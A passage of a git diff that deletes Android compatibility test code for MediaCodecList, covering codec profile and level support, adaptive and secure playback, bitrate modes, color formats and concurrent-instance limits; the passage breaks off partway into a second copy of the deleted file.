-        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel2)) {
-            return; // skip
-        }
-
-        // TODO: add a test stream
-        MediaUtils.skipTest(TAG, "no test stream");
-    }
-
-    public void testHevcMain21() throws Exception {
-        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel21)) {
-            return; // skip
-        }
-
-        // TODO: add a test stream
-        MediaUtils.skipTest(TAG, "no test stream");
-    }
-
-    public void testHevcMain3() throws Exception {
-        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel3)) {
-            return; // skip
-        }
-
-        // TODO: add a test stream
-        MediaUtils.skipTest(TAG, "no test stream");
-    }
-
-    public void testHevcMain31() throws Exception {
-        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel31)) {
-            return; // skip
-        }
-
-        // TODO: add a test stream
-        MediaUtils.skipTest(TAG, "no test stream");
-    }
-
-    public void testHevcMain4() throws Exception {
-        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel4)) {
-            return; // skip
-        }
-
-        // TODO: add a test stream
-        MediaUtils.skipTest(TAG, "no test stream");
-    }
-
-    public void testHevcMain41() throws Exception {
-        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel41)) {
-            return; // skip
-        }
-
-        // TODO: add a test stream
-        MediaUtils.skipTest(TAG, "no test stream");
-    }
-
-    public void testHevcMain5() throws Exception {
-        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel5)) {
-            return; // skip
-        }
-
-        // TODO: add a test stream
-        MediaUtils.skipTest(TAG, "no test stream");
-    }
-
-    public void testHevcMain51() throws Exception {
-        if (!checkDecoder(MIMETYPE_VIDEO_HEVC, HEVCProfileMain, HEVCMainTierLevel51)) {
-            return; // skip
-        }
-
-        // TODO: add a test stream
-        MediaUtils.skipTest(TAG, "no test stream");
-    }
-
-    private boolean checkDecoder(String mime, int profile, int level) {
-        if (!hasDecoder(mime, profile, level)) {
-            MediaUtils.skipTest(TAG, "no " + mime + " decoder for profile "
-                    + profile + " and level " + level);
-            return false;
-        }
-        return true;
-    }
-
-    private boolean hasDecoder(String mime, int profile, int level) {
-        return supports(mime, false /* isEncoder */, profile, level, false /* defaultOnly */);
-    }
-
-    private boolean hasEncoder(String mime, int profile, int level) {
-        return supports(mime, true /* isEncoder */, profile, level, false /* defaultOnly */);
-    }
-
-    // Checks whether the default AOSP player can play back a specific profile and level for a
-    // given media type. If it cannot, it automatically logs that the test is skipped.
-    private boolean checkDecodeWithDefaultPlayer(String mime, int profile, int level) {
-        if (!supports(mime, false /* isEncoder */, profile, level, true /* defaultOnly */)) {
-            MediaUtils.skipTest(TAG, "default player cannot test codec");
-            return false;
-        }
-        return true;
-    }
-
-    private boolean supports(
-            String mime, boolean isEncoder, int profile, int level,
-            boolean defaultOnly) {
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-        for (MediaCodecInfo info : mcl.getCodecInfos()) {
-            if (isEncoder != info.isEncoder()) {
-                continue;
-            }
-            try {
-                CodecCapabilities caps = info.getCapabilitiesForType(mime);
-                for (CodecProfileLevel pl : caps.profileLevels) {
-                    if (pl.profile != profile) {
-                        continue;
-                    }
-
-                    // H.263 levels are not completely ordered:
-                    // Level45 support only implies Level10 support
-                    if (mime.equalsIgnoreCase(MIMETYPE_VIDEO_H263)) {
-                        if (pl.level != level && pl.level == H263Level45 && level > H263Level10) {
-                            continue;
-                        }
-                    }
-                    if (pl.level >= level) {
-                        return true;
-                    }
-                }
-                // the default AOSP player picks the first codec for a specific mime type, so
-                // we can stop after the first one found
-                if (defaultOnly) {
-                    return false;
-                }
-            } catch (IllegalArgumentException e) {
-            }
-        }
-        return false;
-    }
-
-    private boolean isVideoMime(String mime) {
-        return mime.toLowerCase().startsWith("video/");
-    }
-
-    private Set<String> requiredAdaptiveFormats() {
-        Set<String> adaptiveFormats = new HashSet<String>();
-        adaptiveFormats.add(MediaFormat.MIMETYPE_VIDEO_AVC);
-        adaptiveFormats.add(MediaFormat.MIMETYPE_VIDEO_HEVC);
-        adaptiveFormats.add(MediaFormat.MIMETYPE_VIDEO_VP8);
-        adaptiveFormats.add(MediaFormat.MIMETYPE_VIDEO_VP9);
-        return adaptiveFormats;
-    }
-
-    public void testHaveAdaptiveVideoDecoderForAllSupportedFormats() {
-        Set<String> supportedFormats = new HashSet<String>();
-        boolean skipped = true;
-
-        // gather all supported video formats
-        for (MediaCodecInfo info : mAllInfos) {
-            if (info.isEncoder()) {
-                continue;
-            }
-            for (String mime : info.getSupportedTypes()) {
-                if (isVideoMime(mime)) {
-                    supportedFormats.add(mime);
-                }
-            }
-        }
-
-        // limit to CDD-required formats for now
-        supportedFormats.retainAll(requiredAdaptiveFormats());
-
-        // check if there is an adaptive decoder for each
-        for (String mime : supportedFormats) {
-            skipped = false;
-            // implicit assumption that QCIF video is always valid.
-            MediaFormat format = MediaFormat.createVideoFormat(mime, 176, 144);
-            format.setFeatureEnabled(CodecCapabilities.FEATURE_AdaptivePlayback, true);
-            String codec = mAllCodecs.findDecoderForFormat(format);
-            assertTrue(
-                    "could not find adaptive decoder for " + mime, codec != null);
-        }
-        if (skipped) {
-            MediaUtils.skipTest("no video decoders that are required to be adaptive found");
-        }
-    }
-
-    public void testAllVideoDecodersAreAdaptive() {
-        Set<String> adaptiveFormats = requiredAdaptiveFormats();
-        boolean skipped = true;
-        for (MediaCodecInfo info : mAllInfos) {
-            if (info.isEncoder()) {
-                continue;
-            }
-            for (String mime : info.getSupportedTypes()) {
-                if (!isVideoMime(mime)
-                        // limit to CDD-required formats for now
-                        || !adaptiveFormats.contains(mime)) {
-                    continue;
-                }
-                skipped = false;
-                CodecCapabilities caps = info.getCapabilitiesForType(mime);
-                assertTrue(
-                    info.getName() + " is not adaptive for " + mime,
-                    caps.isFeatureSupported(CodecCapabilities.FEATURE_AdaptivePlayback));
-            }
-        }
-        if (skipped) {
-            MediaUtils.skipTest("no video decoders that are required to be adaptive found");
-        }
-    }
-
-    private MediaFormat createReasonableVideoFormat(
-            CodecCapabilities caps, String mime, boolean encoder, int width, int height) {
-        VideoCapabilities vidCaps = caps.getVideoCapabilities();
-        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
-        if (encoder) {
-            // bitrate
-            int maxWidth = vidCaps.getSupportedWidths().getUpper();
-            int maxHeight = vidCaps.getSupportedHeightsFor(width).getUpper();
-            int maxRate = vidCaps.getSupportedFrameRatesFor(width, height).getUpper().intValue();
-            int bitrate = vidCaps.getBitrateRange().clamp(
-                    (int)(vidCaps.getBitrateRange().getUpper()
-                            / Math.sqrt((double)maxWidth * maxHeight / width / height)));
-            Log.i(TAG, "reasonable bitrate for " + width + "x" + height + "@" + maxRate
-                    + " " + mime + " = " + bitrate);
-            format.setInteger(format.KEY_BIT_RATE, bitrate);
-            format.setInteger(format.KEY_FRAME_RATE, maxRate);
-            format.setInteger(format.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-        }
-        return format;
-    }
-
-    public void testSecureCodecsAdvertiseSecurePlayback() throws IOException {
-        boolean skipped = true;
-        for (MediaCodecInfo info : mAllInfos) {
-            boolean isEncoder = info.isEncoder();
-            if (isEncoder || !info.getName().endsWith(".secure")) {
-                continue;
-            }
-            for (String mime : info.getSupportedTypes()) {
-                if (!isVideoMime(mime)) {
-                    continue;
-                }
-                skipped = false;
-                CodecCapabilities caps = info.getCapabilitiesForType(mime);
-                assertTrue(
-                        info.getName() + " does not advertise secure playback",
-                        caps.isFeatureSupported(CodecCapabilities.FEATURE_SecurePlayback));
-            }
-        }
-        if (skipped) {
-            MediaUtils.skipTest("no video decoders found ending in .secure");
-        }
-    }
-
-    private Size getVideoSizeForTest(VideoCapabilities vidCaps) {
-        Size size = new Size(176, 144);  // Use QCIF by default.
-        if (vidCaps != null && !vidCaps.isSizeSupported(size.getWidth(), size.getHeight())) {
-            int minWidth = vidCaps.getSupportedWidths().getLower();
-            int minHeight = vidCaps.getSupportedHeightsFor(minWidth).getLower();
-            size = new Size(minWidth, minHeight);
-        }
-        return size;
-    }
-
-    private MediaFormat createVideoFormatForBitrateMode(String mime, int width, int height,
-            int bitrateMode, CodecCapabilities caps) {
-        MediaCodecInfo.EncoderCapabilities encoderCaps = caps.getEncoderCapabilities();
-        if (!encoderCaps.isBitrateModeSupported(bitrateMode)) {
-            return null;
-        }
-
-        VideoCapabilities vidCaps = caps.getVideoCapabilities();
-        MediaFormat format = MediaFormat.createVideoFormat(mime, width, height);
-
-        // bitrate
-        int maxWidth = vidCaps.getSupportedWidths().getUpper();
-        int maxHeight = vidCaps.getSupportedHeightsFor(width).getUpper();
-        int maxRate = vidCaps.getSupportedFrameRatesFor(width, height).getUpper().intValue();
-        format.setInteger(MediaFormat.KEY_BITRATE_MODE, bitrateMode);
-        if (bitrateMode == MediaCodecInfo.EncoderCapabilities.BITRATE_MODE_CQ) {
-            int quality = encoderCaps.getQualityRange().getLower();
-            Log.i(TAG, "reasonable quality for " + width + "x" + height + "@" + maxRate
-                    + " " + mime + " = " + quality);
-            format.setInteger(MediaFormat.KEY_QUALITY, quality);
-        } else {
-            int bitrate = vidCaps.getBitrateRange().clamp(
-                    (int)(vidCaps.getBitrateRange().getUpper()
-                            / Math.sqrt((double)maxWidth * maxHeight / width / height)));
-            Log.i(TAG, "reasonable bitrate for " + width + "x" + height + "@" + maxRate
-                    + " " + mime + " = " + bitrate + " mode " + bitrateMode);
-            format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
-        }
-        format.setInteger(MediaFormat.KEY_FRAME_RATE, maxRate);
-        format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-        format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                CodecCapabilities.COLOR_FormatYUV420Flexible);
-
-        return format;
-    }
-
-    public void testAllAdvertisedVideoEncoderBitrateModes() throws IOException {
-        boolean skipped = true;
-        final int[] modes = {
-                MediaCodecInfo.EncoderCapabilities.BITRATE_MODE_CQ,
-                MediaCodecInfo.EncoderCapabilities.BITRATE_MODE_VBR,
-                MediaCodecInfo.EncoderCapabilities.BITRATE_MODE_CBR
-        };
-        for (MediaCodecInfo info : mAllInfos) {
-            if (!info.isEncoder()) {
-                continue;
-            }
-
-            for (String mime: info.getSupportedTypes()) {
-                boolean isVideo = isVideoMime(mime);
-                if (!isVideo) {
-                    continue;
-                }
-                CodecCapabilities caps = info.getCapabilitiesForType(mime);
-                Size size = getVideoSizeForTest(caps.getVideoCapabilities());
-                skipped = false;
-
-                int numSupportedModes = 0;
-                for (int mode : modes) {
-                    MediaFormat format = createVideoFormatForBitrateMode(
-                            mime, size.getWidth(), size.getHeight(), mode, caps);
-                    if (format == null) {
-                        continue;
-                    }
-                    MediaCodec codec = null;
-                    try {
-                        codec = MediaCodec.createByCodecName(info.getName());
-                        codec.configure(format, null /* surface */, null /* crypto */,
-                                MediaCodec.CONFIGURE_FLAG_ENCODE);
-                    } finally {
-                        if (codec != null) {
-                            codec.release();
-                        }
-                    }
-                    numSupportedModes++;
-                }
-                assertTrue(info.getName() + " has no supported bitrate mode",
-                        numSupportedModes > 0);
-            }
-        }
-        if (skipped) {
-            MediaUtils.skipTest("no video encoders found");
-        }
-    }
-
-    public void testAllNonTunneledVideoCodecsSupportFlexibleYUV() throws IOException {
-        boolean skipped = true;
-        for (MediaCodecInfo info : mAllInfos) {
-            boolean isEncoder = info.isEncoder();
-            for (String mime: info.getSupportedTypes()) {
-                if (!isVideoMime(mime)) {
-                    continue;
-                }
-                CodecCapabilities caps = info.getCapabilitiesForType(mime);
-                if (caps.isFeatureRequired(CodecCapabilities.FEATURE_TunneledPlayback)
-                        || caps.isFeatureRequired(CodecCapabilities.FEATURE_SecurePlayback)) {
-                    continue;
-                }
-                skipped = false;
-                boolean found = false;
-                for (int c : caps.colorFormats) {
-                    if (c == caps.COLOR_FormatYUV420Flexible) {
-                        found = true;
-                        break;
-                    }
-                }
-                assertTrue(
-                    info.getName() + " does not advertise COLOR_FormatYUV420Flexible",
-                    found);
-
-                MediaCodec codec = null;
-                MediaFormat format = null;
-                try {
-                    Size size = getVideoSizeForTest(caps.getVideoCapabilities());
-                    codec = MediaCodec.createByCodecName(info.getName());
-                    format = createReasonableVideoFormat(
-                            caps, mime, isEncoder, size.getWidth(), size.getHeight());
-                    format.setInteger(
-                            MediaFormat.KEY_COLOR_FORMAT,
-                            caps.COLOR_FormatYUV420Flexible);
-
-                    codec.configure(format, null /* surface */, null /* crypto */,
-                            isEncoder ? codec.CONFIGURE_FLAG_ENCODE : 0);
-                    MediaFormat configuredFormat =
-                            isEncoder ? codec.getInputFormat() : codec.getOutputFormat();
-                    Log.d(TAG, "color format is " + configuredFormat.getInteger(
-                            MediaFormat.KEY_COLOR_FORMAT));
-                    if (isEncoder) {
-                        codec.start();
-                        int ix = codec.dequeueInputBuffer(TIMEOUT_US);
-                        assertNotNull(
-                                info.getName() + " encoder has non-flexYUV input buffer #" + ix,
-                                codec.getInputImage(ix));
-                    } else {
-                        // TODO: test these on various decoders (need test streams)
-                    }
-                } finally {
-                    if (codec != null) {
-                        codec.release();
-                    }
-                }
-            }
-        }
-        if (skipped) {
-            MediaUtils.skipTest("no non-tunneled/non-secure video decoders found");
-        }
-    }
-
-    private static MediaFormat createMinFormat(String mime, CodecCapabilities caps) {
-        MediaFormat format;
-        if (caps.getVideoCapabilities() != null) {
-            VideoCapabilities vcaps = caps.getVideoCapabilities();
-            int minWidth = vcaps.getSupportedWidths().getLower();
-            int minHeight = vcaps.getSupportedHeightsFor(minWidth).getLower();
-            int minBitrate = vcaps.getBitrateRange().getLower();
-            int minFrameRate = Math.max(vcaps.getSupportedFrameRatesFor(minWidth, minHeight)
-                    .getLower().intValue(), 1);
-            format = MediaFormat.createVideoFormat(mime, minWidth, minHeight);
-            format.setInteger(MediaFormat.KEY_COLOR_FORMAT, caps.colorFormats[0]);
-            format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
-            format.setInteger(MediaFormat.KEY_FRAME_RATE, minFrameRate);
-            format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-        } else {
-            AudioCapabilities acaps = caps.getAudioCapabilities();
-            int minSampleRate = acaps.getSupportedSampleRateRanges()[0].getLower();
-            int minChannelCount = 1;
-            int minBitrate = acaps.getBitrateRange().getLower();
-            format = MediaFormat.createAudioFormat(mime, minSampleRate, minChannelCount);
-            format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
-        }
-
-        return format;
-    }
-
-    private int getActualMax(
-            boolean isEncoder, String name, String mime, CodecCapabilities caps, int max) {
-        int flag = isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0;
-        boolean memory_limited = false;
-        MediaFormat format = createMinFormat(mime, caps);
-        Log.d(TAG, "Test format " + format);
-        Vector<MediaCodec> codecs = new Vector<MediaCodec>();
-        MediaCodec codec = null;
-        ActivityManager am = (ActivityManager)
-                mContext.getSystemService(Context.ACTIVITY_SERVICE);
-        ActivityManager.MemoryInfo outInfo = new ActivityManager.MemoryInfo();
-        for (int i = 0; i < max; ++i) {
-            try {
-                Log.d(TAG, "Create codec " + name + " #" + i);
-                codec = MediaCodec.createByCodecName(name);
-                codec.configure(format, null, null, flag);
-                codec.start();
-                codecs.add(codec);
-                codec = null;
-
-                am.getMemoryInfo(outInfo);
-                if (outInfo.lowMemory) {
-                    Log.d(TAG, "System is in low memory condition, stopping. max: " + i);
-                    memory_limited = true;
-                    break;
-                }
-            } catch (IllegalArgumentException e) {
-                fail("Got unexpected IllegalArgumentException " + e.getMessage());
-            } catch (IOException e) {
-                fail("Got unexpected IOException " + e.getMessage());
-            } catch (MediaCodec.CodecException e) {
-                // ERROR_INSUFFICIENT_RESOURCE is expected as the test keep creating codecs.
-                // But other exception should be treated as failure.
-                if (e.getErrorCode() == MediaCodec.CodecException.ERROR_INSUFFICIENT_RESOURCE) {
-                    Log.d(TAG, "Got CodecException with ERROR_INSUFFICIENT_RESOURCE.");
-                    break;
-                } else {
-                    fail("Unexpected CodecException " + e.getDiagnosticInfo());
-                }
-            } finally {
-                if (codec != null) {
-                    Log.d(TAG, "release codec");
-                    codec.release();
-                    codec = null;
-                }
-            }
-        }
-        int actualMax = codecs.size();
-        for (int i = 0; i < codecs.size(); ++i) {
-            Log.d(TAG, "release codec #" + i);
-            codecs.get(i).release();
-        }
-        codecs.clear();
-        // encode both actual max and whether we ran out of memory
-        if (memory_limited) {
-            actualMax = -actualMax;
-        }
-        return actualMax;
-    }
-
-    private boolean knownTypes(String type) {
-        return (type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_AAC  ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_AC3      ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_AMR_NB   ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_AMR_WB   ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_EAC3     ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_FLAC     ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_G711_ALAW) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_G711_MLAW) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_MPEG     ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_MSGSM    ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_OPUS     ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_RAW      ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_AUDIO_VORBIS   ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_AV1      ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_AVC      ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_H263     ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_HEVC     ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_MPEG2    ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_MPEG4    ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_VP8      ) ||
-            type.equalsIgnoreCase(MediaFormat.MIMETYPE_VIDEO_VP9      ));
-    }
-
-    public void testGetMaxSupportedInstances() {
-        StringBuilder xmlOverrides = new StringBuilder();
-        MediaCodecList allCodecs = new MediaCodecList(MediaCodecList.ALL_CODECS);
-        final boolean isLowRam = ActivityManager.isLowRamDeviceStatic();
-        for (MediaCodecInfo info : allCodecs.getCodecInfos()) {
-            Log.d(TAG, "codec: " + info.getName());
-            Log.d(TAG, "  isEncoder = " + info.isEncoder());
-
-            // don't bother testing aliases
-            if (info.isAlias()) {
-                Log.d(TAG, "skipping: " + info.getName() + " is an alias for " +
-                                info.getCanonicalName());
-                continue;
-            }
-
-            String[] types = info.getSupportedTypes();
-            for (int j = 0; j < types.length; ++j) {
-                if (!knownTypes(types[j])) {
-                    Log.d(TAG, "skipping unknown type " + types[j]);
-                    continue;
-                }
-                Log.d(TAG, "calling getCapabilitiesForType " + types[j]);
-                CodecCapabilities caps = info.getCapabilitiesForType(types[j]);
-                int advertised = caps.getMaxSupportedInstances();
-                Log.d(TAG, "getMaxSupportedInstances returns " + advertised);
-                assertTrue(advertised > 0);
-
-                // see how well the declared max matches against reality
-
-                int tryMax = isLowRam ? 16 : 32;
-                int tryMin = isLowRam ? 4 : 16;
-
-                int trials = Math.min(advertised + 2, tryMax);
-                int actualMax = getActualMax(
-                        info.isEncoder(), info.getName(), types[j], caps, trials);
-                Log.d(TAG, "actualMax " + actualMax + " vs advertised " + advertised
-                                + " tryMin " + tryMin + " tryMax " + tryMax);
-
-                boolean memory_limited = false;
-                if (actualMax < 0) {
-                    memory_limited = true;
-                    actualMax = -actualMax;
-                }
-
-                boolean compliant = true;
-                if (info.isHardwareAccelerated()) {
-                    // very specific bounds for HW codecs
-                    // so the adv+2 above is to see if the HW codec lets us go beyond adv
-                    // (it should not)
-                    if (actualMax != Math.min(advertised, tryMax)) {
-                        Log.d(TAG, "NO: hwcodec " + actualMax + " != min(" + advertised +
-                                            "," + tryMax + ")");
-                        compliant = false;
-                    }
-                } else {
-                    // sw codecs get a little more relaxation due to memory pressure
-                    if (actualMax >= Math.min(advertised, tryMax)) {
-                        // no memory issues, and we allocated them all
-                        Log.d(TAG, "OK: swcodec " + actualMax + " >= min(" + advertised +
-                                        "," + tryMax + ")");
-                    } else if (actualMax >= Math.min(advertised, tryMin) &&
-                                    memory_limited) {
-                        // memory issues, but we hit our floors
-                        Log.d(TAG, "OK: swcodec " + actualMax + " >= min(" + advertised +
-                                        "," + tryMin + ") + memory limited");
-                    } else {
-                        Log.d(TAG, "NO: swcodec didn't meet criteria");
-                        compliant = false;
-                    }
-                }
-
-                if (!compliant) {
-                    String codec = "<MediaCodec name=\"" + info.getName() +
-                            "\" type=\"" + types[j] + "\" >";
-                    String limit = "    <Limit name=\"concurrent-instances\" max=\"" +
-                            actualMax + "\" />";
-                    xmlOverrides.append(codec);
-                    xmlOverrides.append("\n");
-                    xmlOverrides.append(limit);
-                    xmlOverrides.append("\n");
-                    xmlOverrides.append("</MediaCodec>\n");
-                }
-            }
-        }
-
-        if (xmlOverrides.length() > 0) {
-            String failMessage = "In order to pass the test, please publish following " +
-                    "codecs' concurrent instances limit in /etc/media_codecs.xml: \n";
-           fail(failMessage + xmlOverrides.toString());
-        }
-    }
-
-    public void testGetSupportedFrameRates() throws IOException {
-        // Chose MediaFormat.MIMETYPE_VIDEO_H263 randomly
-        CodecCapabilities codecCap = CodecCapabilities.createFromProfileLevel(
-                MediaFormat.MIMETYPE_VIDEO_H263, H263ProfileBaseline, H263Level45);
-        Range<Integer> supportedFrameRates =
-                codecCap.getVideoCapabilities().getSupportedFrameRates();
-        Log.d(TAG, "Supported Frame Rates : " + supportedFrameRates.toString());
-        /*
-            ITU-T Rec. H.263/Annex X (03/2004) says that for H263ProfileBaseline and H263Level45,
-            the device has to support 15 fps.
-        */
-        assertTrue("Invalid framerate range", Range.create(1, 15).equals(supportedFrameRates));
-    }
-
-    public void testIsSampleRateSupported() throws IOException {
-        if (!MediaUtils.checkDecoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
-            return; // skip
-        }
-        // Chose AAC Decoder/MediaFormat.MIMETYPE_AUDIO_AAC randomly
-        MediaCodec codec = MediaCodec.createDecoderByType(MediaFormat.MIMETYPE_AUDIO_AAC);
-        MediaCodecInfo.AudioCapabilities audioCap = codec.getCodecInfo()
-                    .getCapabilitiesForType(MediaFormat.MIMETYPE_AUDIO_AAC).getAudioCapabilities();
-        final int[] validSampleRates = {8000, 16000, 22050, 44100};
-        for(int sampleRate : validSampleRates) {
-            Log.d(TAG, "SampleRate = " + sampleRate);
-            assertTrue("Expected True for isSampleRateSupported",
-                audioCap.isSampleRateSupported(sampleRate));
-        }
-        final int[] invalidSampleRates = {-1, 0, 1, Integer.MAX_VALUE};
-        for(int sampleRate : invalidSampleRates) {
-            Log.d(TAG, "SampleRate = " + sampleRate);
-            assertFalse("Expected False for isSampleRateSupported",
-                audioCap.isSampleRateSupported(sampleRate));
-        }
-        codec.release();
-    }
-
-    // API test coverage for MediaCodecInfo.EncoderCapabilities.getComplexityRange()
-    public void testGetComplexityRange() throws IOException {
-        boolean skipTest = true;
-        if (MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_AAC)) {
-            // Chose AAC Encoder/MediaFormat.MIMETYPE_AUDIO_AAC randomly
-            MediaCodec codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_AUDIO_AAC);
-            Range<Integer> complexityRange =
-                    codec.getCodecInfo()
-                            .getCapabilitiesForType(MediaFormat.MIMETYPE_AUDIO_AAC)
-                            .getEncoderCapabilities()
-                            .getComplexityRange();
-            Log.d(TAG, "AAC ComplexityRange : " + complexityRange.toString());
-            assertTrue("AAC ComplexityRange invalid low value", complexityRange.getLower() >= 0);
-            codec.release();
-            skipTest = false;
-        }
-        if (MediaUtils.hasEncoder(MediaFormat.MIMETYPE_AUDIO_FLAC)) {
-            // Repeat test with FLAC Encoder
-            MediaCodec codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_AUDIO_FLAC);
-            Range<Integer> complexityRange =
-                    codec.getCodecInfo()
-                            .getCapabilitiesForType(MediaFormat.MIMETYPE_AUDIO_FLAC)
-                            .getEncoderCapabilities()
-                            .getComplexityRange();
-            Log.d(TAG, "FLAC ComplexityRange : " + complexityRange.toString());
-            assertTrue("FLAC ComplexityRange invalid low value", complexityRange.getLower() >= 0);
-            codec.release();
-            skipTest = false;
-        }
-        if (skipTest) {
-            MediaUtils.skipTest(TAG, "AAC and FLAC encoders not present");
-        }
-    }
-
-    public void testLowLatencyFeatureIsSupportedOnly() throws IOException {
-        MediaCodecList list = new MediaCodecList(MediaCodecList.ALL_CODECS);
-        for (MediaCodecInfo info : list.getCodecInfos()) {
-            for (String type : info.getSupportedTypes()) {
-                CodecCapabilities caps = info.getCapabilitiesForType(type);
-                if (caps.isFeatureSupported(CodecCapabilities.FEATURE_LowLatency)) {
-                    assertFalse(
-                        info.getName() + "(" + type + ") "
-                            + " supports low latency, but low latency shall not be required",
-                        caps.isFeatureRequired(CodecCapabilities.FEATURE_LowLatency));
-                }
-            }
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java b/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
deleted file mode 100644
index 19621ec..0000000
--- a/tests/tests/media/src/android/media/cts/MediaCodecListTest.java
+++ /dev/null
@@ -1,1015 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_SecurePlayback;
-import static android.media.MediaCodecInfo.CodecCapabilities.FEATURE_TunneledPlayback;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-import com.android.compatibility.common.util.PropertyUtil;
-
-import android.content.pm.PackageManager;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.AudioCapabilities;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.EncoderCapabilities;
-import android.media.MediaCodecInfo.VideoCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaFormat;
-import android.os.Build;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import android.util.Pair;
-import android.util.Range;
-import android.util.Size;
-
-import androidx.test.filters.SmallTest;
-
-import java.io.File;
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-@Presubmit
-@SmallTest
-@RequiresDevice
-public class MediaCodecListTest extends AndroidTestCase {
-
-    private static final String TAG = "MediaCodecListTest";
-    private static final String MEDIA_CODEC_XML_FILE = "/etc/media_codecs.xml";
-    private static final String VENDOR_MEDIA_CODEC_XML_FILE = "/vendor/etc/media_codecs.xml";
-    private static final String ODM_MEDIA_CODEC_XML_FILE = "/odm/etc/media_codecs.xml";
-    private final MediaCodecList mRegularCodecs =
-            new MediaCodecList(MediaCodecList.REGULAR_CODECS);
-    private final MediaCodecList mAllCodecs =
-            new MediaCodecList(MediaCodecList.ALL_CODECS);
-    private final MediaCodecInfo[] mRegularInfos =
-            mRegularCodecs.getCodecInfos();
-    private final MediaCodecInfo[] mAllInfos =
-            mAllCodecs.getCodecInfos();
-
-    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    class CodecType {
-        CodecType(String type, boolean isEncoder, MediaFormat sampleFormat) {
-            mMimeTypeName = type;
-            mIsEncoder = isEncoder;
-            mSampleFormat = sampleFormat;
-        }
-
-        boolean equals(CodecType codecType) {
-            return (mMimeTypeName.compareTo(codecType.mMimeTypeName) == 0) &&
-                    mIsEncoder == codecType.mIsEncoder;
-        }
-
-        boolean canBeFound() {
-            return codecCanBeFound(mIsEncoder, mSampleFormat);
-        }
-
-        @Override
-        public String toString() {
-            return mMimeTypeName + (mIsEncoder ? " encoder" : " decoder") + " for " + mSampleFormat;
-        }
-
-        private String mMimeTypeName;
-        private boolean mIsEncoder;
-        private MediaFormat mSampleFormat;
-    };
-
-    class AudioCodec extends CodecType {
-        AudioCodec(String mime, boolean isEncoder, int sampleRate) {
-            super(mime, isEncoder, MediaFormat.createAudioFormat(
-                    mime, sampleRate, 1 /* channelCount */));
-        }
-    }
-
-    class VideoCodec extends CodecType {
-        VideoCodec(String mime, boolean isEncoder) {
-            // implicit assumption that QVGA video is always valid
-            super(mime, isEncoder, MediaFormat.createVideoFormat(
